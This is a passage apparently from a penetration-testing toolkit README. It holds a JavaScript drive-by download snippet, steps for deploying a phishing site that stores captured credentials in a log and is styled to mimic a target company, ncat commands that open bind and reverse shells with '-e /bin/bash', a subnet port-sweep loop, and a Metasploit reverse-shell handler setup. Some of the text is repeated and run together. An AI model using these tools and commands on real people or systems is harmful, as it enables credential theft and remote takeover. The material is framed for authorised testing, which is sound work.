var req = new XMLHttpRequest ( ) ;
req . open ( method , url , true ) ;
req . responseType = 'blob' ;
req . onload = function ( ) {
var blob = new Blob ( [ req . response ] , { type : type } )
var isIE = false || ! ! document . documentMode ;
if ( isIE ) {
// IE doesn't allow using a blob object directly as link
// instead it is necessary to use msSaveOrOpenBlob()
if ( window . navigator && window . navigator . msSaveOrOpenBlob ) {
window . navigator . msSaveOrOpenBlob ( blob , name ) ;
}
} else {
var anchor = document . createElement ( 'a' ) ;
anchor . href = window . URL . createObjectURL ( blob ) ;
anchor . download = name ;
anchor . click ( ) ;
// in Firefox it is necessary to delay revoking the ObjectURL
setTimeout ( function ( ) {
window . URL . revokeObjectURL ( anchor ) ;
anchor . remove ( ) ;
} , 250 ) ;
}
} ;
req . send ( ) ;
}
// specify your file here, use only an absolute URL
download ( 'http://localhost/files/pentest.pdf' , 'application/pdf' , 'pentest.pdf' , 'GET' ) ;
// download('http://localhost/files/pentest.docx', 'plain/txt', 'pentest.docx', 'GET');To try it out, copy all the content from social_engineeringdriveby_download to your server's web root directory (eg, to xampphtdocs on XAMPP), and navigate to the web page with your preferred web browser.
To try it out, copy all the content from social_engineeringphishing_website to your server's web root directory (eg, to xampphtdocs on XAMPP), and navigate to the web page with your preferred web browser.
Captured credentials will be stored in social_engineeringphishing_websitelogscredentials.log.

Figure 2 - Phishing Website
Read the comments in social_engineeringphishing_websiteindex.php to get a better understanding on how all of it works.
You can modify and expand this template to your liking. You have everything that needs to get you started.
You can easily customize CSS to make it look more like the company you are testing, eg, change colors, logo, etc.
Check the standalone redirect templates in social_engineeringphishing_websiteredirects directory.
Use SingleFile (Chrome)(FireFox) browser extension to download a web page as a single HTML file, then, rename the file to index.php .
Here you can find a bunch of random stuff.
Download a file:
curl somesite.com/somefile.txt -o somefile.txt
Upload a file:
curl somesite.com/uploads/ -T somefile.txt
| Option | Description |
|---|---|
| -d | Sends the specified data in a POST request to the HTTP server |
| -H | Extra header to include in the request when sending HTTP to a server |
| -je | Include the HTTP response headers in the output |
| -k | Proceed and operate server connections otherwise considered insecure |
| -o | Write to file instead of stdout |
| -T | Transfers the specified local file to the remote URL, same as PUT method |
| -v | Make the operation more talkative |
| -x | Use the specified proxy ([protocol://]host[:port]) |
| -X | Specifies a custom request method to use when communicating with the HTTP server |
Find out how to test a web server for various HTTP methods and method overrides at ivan-sincek/forbidden.
[Server] Set up a listener:
ncat -nvlp 9000
ncat -nvlp 9000 > received_data.txt
ncat -nvlp 9000 -e /bin/bash
ncat -nvlp 9000 -e /bin/bash --ssl
ncat -nvlp 9000 --ssl-cert crt.pem --ssl-key key.pem
ncat -nvlp 9000 --keep-open <<< "HTTP/1.1 200 OKrnrn"
[Client] Connect to a remote host:
ncat -nv 192.168.8.5 9000
ncat -nv 192.168.8.5 9000 < sent_data.txt
ncat -nv 192.168.8.5 9000 -e /bin/bash
ncat -nv 192.168.8.5 9000 -e /bin/bash --ssl
ncat -nv 192.168.8.5 9000 --ssl-cert crt.pem --ssl-key key.pem
Find out how to create an SSL/TLS certificate at ivan-sincek/secure-website.
Check if connection to a specified TCP port (eg, port 22 or 23) is possible:
for i in {0..255} ; do ncat -nv " 192.168.8. ${i} " 9000 -w 2 -z 2>&1 | grep -Po ' (?<=Connected to )[^s]+(?=.) ' ; done
for ip in $( cat ips.txt ) ; do ncat -nv " ${ip} " 9000 -w 2 -z 2>&1 | grep -Po ' (?<=Connected to )[^s]+(?=.) ' ; doneSet up a listener (change the PAYLOAD, LHOST, and LPORT as necessary):
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.8.185
set LPORT 9000
exploit
Use ngrok to give your local web server a public address, but do not expose the web server for too long if it is not properly hardened due to security concerns.
I advise you not to transfer any sensitive data over it, just in case.
Credits to the authors!